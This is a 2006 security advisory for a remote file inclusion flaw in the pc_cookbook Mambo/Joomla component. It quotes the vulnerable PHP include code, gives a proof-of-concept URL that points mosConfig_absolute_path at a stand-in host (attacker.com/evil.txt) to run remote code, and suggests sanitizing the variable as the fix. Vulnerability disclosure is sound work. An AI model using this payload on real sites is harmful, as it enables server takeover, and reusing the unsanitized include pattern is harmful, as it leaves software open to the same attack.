Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13460
HistoryJul 11, 2006 - 12:00 a.m.

[ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File Include Vulnerabilities

2006-07-1100:00:00
vulners.com
10

\_ /\ ___ \ / | \\_ \
| ) / \ \// ~ \/ | \
| \\ \
\ Y / | \
/
_____ / \______ /\| /\_____ /
\/ \/ \/ \/

                                    .OR.ID

ECHO_ADV_37$2006


[ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File Include Vulnerabilities

Author : Ahmad Maulana a.k.a Matdhule
Date : July 10th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv37-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

pc_cookbook Component
 
Application     : pc_cookbook Component
version         : 0.3
URL             : http://www.dianthos.net &amp; http://www.fisheye.gr/koyansblog
 
------------------------------------------------------------------------

 
Vulnerability:
~~~~~~~~~~~~~~~
 
in folder com_pccookbook we found vulnerability script pccookbook.php.
 
-----------------------pccookbook.php----------------------
....
&lt;?php
//pc_cookbook Component//
/**
* Content code
* @package hello_world
* Original @Copyright &#40;C&#41; 2005 Robert Prince
* @Copyright &#40;C&#41; 2005 Konstantinos &#40;koyan&#41; Kokkorogiannis
* @ All rights reserved
* @ pc_cookbook is Free Software
* @ Released under GNU/GPL License :
http://www.gnu.org/copyleft/gpl.html
* @version koyans 0.3
 * @link http://www.dianthos.net &amp; http://www.fisheye.gr/koyansblog
**/
global $mosConfig_absolute_path;
global $mosConfig_live_site;
 
 // include language file, or default to english
 if &#40;file_exists &#40;$mosConfig_absolute_path .
&#39;/components/com_pccookbook/languages/&#39; . $mosConfig_lang . &#39;.php&#39;&#41;&#41; {
            include_once &#40;$mosConfig_absolute_path .
&#39;/components/com_pccookbook/languages/&#39; . $mosConfig_lang . &#39;.php&#39;&#41;;
 } else {
            include_once &#40;$mosConfig_absolute_path .
&#39;/components/com_pccookbook/languages/english.php&#39;&#41;;
 } // end if
        ?&gt;
...
----------------------------------------------------------
 
Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?
 
Solution:
~~~~~~~~
 
sanitize variabel $mosConfig_absolute_path in pccookbook.php
 
 
------------------------------------------------------------------------
---
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :&#41;
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------